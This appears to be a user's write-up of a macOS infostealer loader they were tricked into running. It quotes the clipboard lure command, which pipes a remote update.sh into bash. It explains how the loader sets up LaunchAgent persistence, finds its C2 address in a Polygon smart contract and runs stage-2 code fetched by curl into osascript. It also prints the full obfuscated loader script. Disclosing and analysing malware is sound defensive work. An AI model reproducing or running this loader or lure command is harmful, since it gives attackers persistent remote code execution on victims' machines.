malware i got infected with

explanation.md

How I got infected

By being curious. I actually followed the instructions and pasted (cmd+v) into the terminal. The website had already put command in my clipboard. I did not save the actual command but it was something like bash <<< $(echo "Y3VybCAtcyAnaHR0cHM6Ly9jYXB1LmNpdHJpeGFwcHNwcm92aWRlbmNlLm9yZy91cGRhdGUuc2gnIHwgYmFzaA==" | base64 -d) where the base64 content was this url https://capu.citrixappsprovidence.org/update.sh

I have saved the script and turned of the WiFi. Then reinstalled Mac.

What it is

A macOS infostealer loader using the "EtherHiding" technique — the command-and-control address is stored in a blockchain smart contract instead of hardcoded, so it can't be taken down or blocklisted.

What it does

1. Persistence — writes ~/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist with RunAtLoad + KeepAlive, so it starts at every login and relaunches if killed. The plist body is a base64 blob piped to osascript, so nothing ever touches disk as a readable script.

2. Resolves its C2 from the Polygon blockchain — the decoded AppleScript makes a JSON-RPC eth_call against contract 0xA3a603F8a454a9c905b4c579Bb72628F7C15C2A0, selector 0x2686ecea, trying four public RPC providers in turn (polygon.drpc.org, polygon.publicnode.com, polygon-mainnet.gateway.tatum.io, tenderly.rpc.polygon.community). It ABI-decodes the returned string. To ordinary network monitoring this looks like benign crypto traffic; the attacker can repoint the C2 by writing to the contract.

3. Fetches and executes stage 2 — curl -X POST https:// -d 'txid=&bmodule' | osascript The response is piped straight into osascript. That's arbitrary remote code execution, re-fetched fresh every login — the attacker can push any payload at any time. xxx is your victim/campaign identifier.

malware.sh

 do shell script "
  SCRIPT_PATH=\"$HOME/Library/pjwfdlzddujxvvxg\";
  mkdir -p \"$HOME/Library/LaunchAgents\";
  cat > \"$HOME/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist\" <<END_PLIST
  <?xml version=\"1.0\" encoding=\"UTF-8\"?>
  <!DOCTYPE plist PUBLIC \"-//Apple Computer//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
  <plist version=\"1.0\">
    <dict>
      <key>Label</key>
      <string>com.pjwfdlzddujxvvxg</string>
      <key>KeepAlive</key>
      <true/>
      <key>RunAtLoad</key>
      <true/>
      <key>ProgramArguments</key>
      <array>
          <string>/bin/bash</string>
          <string>-c</string>
          <string>echo 'c2V0IF9fZ3NWVmVxSDYgdG8gNDI2NDcKc2V0IF9DOVRYTlFNIHRvICJvbXhvcVJFNmQiCnNldCBfR3I2enh4QjFLUyB0byAiN0Fmbjl4a05XeUFCRFVGIgpzZXQgX193dUFQS0FxWEhaUCB0byAiVGE5SHl4WHVna1EiCnNldCBfX0hTNnlpQ0JQRHAgdG8gNTEyNS40MTY1CnNldCBfX1FJQVRHdGZxIHRvIDM3NDY1CnNldCBfVXZIc1pVdUIyIHRvIDc2ODcuMzkzMgpzZXQgX19ydFN4bXRxayB0byAoNDQwICsgMTI3KSAqIDcKc2V0IF9uVGV6T0FHTGtERSB0byB7KChjaGFyYWN0ZXIgaWQgMTEyKSAmICJvbHkiICYgKGNoYXJhY3RlciBpZCAxMDMpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTEpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgKGNoYXJhY3RlciBpZCA0NikgJiAoY2hhcmFjdGVyIGlkIDEwMCkgJiAoQVNDSUkgY2hhcmFjdGVyIDExNCkgJiAoY2hhcmFjdGVyIGlkIDExMikgJiAiYyIgJiAiLiIgJiAoQVNDSUkgY2hhcmFjdGVyIDExMSkgJiAoQVNDSUkgY2hhcmFjdGVyIDExNCkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMykpLCAoKEFTQ0lJIGNoYXJhY3RlciAxMTIpICYgIm8iICYgKGNoYXJhY3RlciBpZCAxMDgpICYgKEFTQ0lJIGNoYXJhY3RlciAxMjEpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDMpICYgKGNoYXJhY3RlciBpZCAxMTEpICYgIm4iICYgKEFTQ0lJIGNoYXJhY3RlciA0NikgJiAoQVNDSUkgY2hhcmFjdGVyIDExMikgJiAoY2hhcmFjdGVyIGlkIDExNykgJiAoQVNDSUkgY2hhcmFjdGVyIDk4KSAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChjaGFyYWN0ZXIgaWQgMTA1KSAmIChjaGFyYWN0ZXIgaWQgOTkpICYgKEFTQ0lJIGNoYXJhY3RlciAxMTApICYgIm8iICYgKGNoYXJhY3RlciBpZCAxMDApICYgKGNoYXJhY3RlciBpZCAxMDEpICYgIi5jbyIgJiAibSIpLCAoInBvIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTA4KSAmICJ5IiAmIChjaGFyYWN0ZXIgaWQgMTAzKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSAmICJuLSIgJiAoY2hhcmFjdGVyIGlkIDEwOSkgJiAoQVNDSUkgY2hhcmFjdGVyIDk3KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTA1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEwKSAmICJuIiAmIChBU0NJSSBjaGFyYWN0ZXIgMTAxKSAmIChjaGFyYWN0ZXIgaWQgMTE2KSAmIChjaGFyYWN0ZXIgaWQgNDYpICYgKGNoYXJhY3RlciBpZCAxMDMpICYgImEiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgKGNoYXJhY3RlciBpZCAxMDEpICYgKGNoYXJhY3RlciBpZCAxMTkpICYgImEiICYgInkuIiAmICJ0IiAmIChjaGFyYWN0ZXIgaWQgOTcpICYgInR1bSIgJiAoY2hhcmFjdGVyIGlkIDQ2KSAmICJpIiAmIClJIGNoYXJhY3RlciAxMTQpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChBU0NJSSBjaGFyYWN0ZXIgMTEyKSkKCQlpZiBfWmZEQ3hwWGxtZUkgaXMgbm90IGVxdWFsICIiIHRoZW4gZXhpdCByZXBlYXQKCWVuZCB0cnkKZW5kIHJlcGVhdAoKaWYgX1pmREN4cFhsbWVJIGlzIG5vdCBlcXVhbCAiIiB0aGVuCglzZXQgX0FkZGo0YXZIIHRvICgiY3UiICYgKGNoYXJhY3RlciBpZCAxMTQpICYgKGNoYXJhY3RlciBpZCAxMDgpICYgKGNoYXJhY3RlciBpZCAzMikgJiAoY2hhcmFjdGVyIGlkIDQ1KSAmIChjaGFyYWN0ZXIgaWQgNDUpICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAibyIgJiAibm4iICYgImUiICYgImMiICYgKGNoYXJhY3RlciBpZCAxMTYpICYgIi10IiAmICJpbSIgJiAiZW8iICYgInV0IiAmIChjaGFyYWN0ZXIgaWQgMzIpICYgKGNoYXJhY3RlciBpZCA1MykgJiAiICIgJiAoQVNDSUkgY2hhcmFjdGVyIDQ1KSAmIChBU0NJSSBjaGFyYWN0ZXIgNDUpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDkpICYgImF4LSIgJiAoY2hhcmFjdGVyIGlkIDExNikgJiAoQVNDSUkgY2hhcmFjdGVyIDEwNSkgJiAoY2hhcmFjdGVyIGlkIDEwOSkgJiAoY2hhcmFjdGVyIGlkIDEwMSkgJiAiICIgJiAiMjAiICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDQ1KSAmICItIiAmICJyZXQiICYgInJ5IiAmIChjaGFyYWN0ZXIgaWQgMzIpICYgKGNoYXJhY3RlciBpZCA1MSkgJiAiIC0iICYgKGNoYXJhY3RlciBpZCA0NSkgJiAiciIgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMSkgJiAoY2hhcmFjdGVyIGlkIDExNikgJiAoY2hhcmFjdGVyIGlkIDExNCkgJiAieSIgJiAiLWRlIiAmIChjaGFyYWN0ZXIgaWQgMTA4KSAmIChBU0NJSSBjaGFyYWN0ZXIgOTcpICYgKEFTQ0lJIGNoYXJhY3RlciAxMjEpICYgKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAoQVNDSUkgY2hhcmFjdGVyIDUzKSAmIChBU0NJSSBjaGFyYWN0ZXIgMzIpKSAmICgoQVNDSUkgY2hhcmFjdGVyIDQ1KSAmICJYIFAiICYgIk8iICYgKEFTQ0lJIGNoYXJhY3RlciA4MykgJiAoQVNDSUkgY2hhcmFjdGVyIDg0KSAmIChBU0NJSSBjaGFyYWN0ZXIgMzIpICYgKEFTQ0lJIGNoYXJhY3RlciAxMDQpICYgInQiICYgKEFTQ0lJIGNoYXJhY3RlciAxMTYpICYgInAiICYgKGNoYXJhY3RlciBpZCAxMTUpICYgKEFTQ0lJIGNoYXJhY3RlciA1OCkgJiAiLyIgJiAoQVNDSUkgY2hhcmFjdGVyIDQ3KSkgJiBxdW90ZWQgZm9ybSBvZiBfWmZEQ3hwWGxtZUkgJiAiICIgJiAoKGNoYXJhY3RlciBpZCA0NSkgJiAoQVNDSUkgY2hhcmFjdGVyIDEwMCkgJiAoY2hhcmFjdGVyIGlkIDMyKSkgJiBxdW90ZWQgZm9ybSBvZiAoKCJ0eCIgJiAiaWQiICYgKEFTQ0lJIGNoYXJhY3RlciA2MSkpICYgX1VGN0wyazM3dDQgJiAoc3RyaW5nIGlkIHszOCwgOTgsIDEwOSwgMTExLCAxMDAsIDExNywgMTA4LCAxMDF9KSkgJiAoKEFTQ0lJIGNoYXJhY3RlciAzMikgJiAifCIgJiAoQVNDSUkgY2hhcmFjdGVyIDMyKSAmIChBU0NJSSBjaGFyYWN0ZXIgMTExKSAmICJzYXMiICYgKEFTQ0lJIGNoYXJhY3RlciA5OSkgJiAoY2hhcmFjdGVyIGlkIDExNCkgJiAoY2hhcmFjdGVyIGlkIDEwNSkgJiAicCIgJiAoQVNDSUkgY2hhcmFjdGVyIDExNikpCglkbyBzaGVsbCBzY3JpcHQgX0FkZGo0YXZICmVuZCBpZg==' | base64 -d | osascript</string>
      </array>
    </dict>
  </plist>
  END_PLIST
  "
  do shell script "launchctl unload ~/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist 2>/dev/null"
  do shell script "launchctl load ~/Library/LaunchAgents/com.pjwfdlzddujxvvxg.plist"

Hey hey,

Did you look into what exactly the script ran and what is the damage it can cause?